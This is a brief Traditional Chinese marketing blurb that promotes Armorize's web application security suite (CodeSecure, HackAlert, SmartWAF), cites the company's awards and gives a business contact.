Armorize Appsec Suite™整合了獲獎無數的CodeSecure™, HackAlert™ 和SmartWAF™提供了完整的網站應用安全服務。

Armorize服務團隊深耕於網站應用程式安全研究,並連續在WWW研討會獲獎。
包括Red herring 100、及受邀參加Dow Jones VentureWire Technology Showcase 2008展示公司基礎及成果。

Jack Yu
Phone: +886-2-6616-0100 x405

繼續閱讀全文...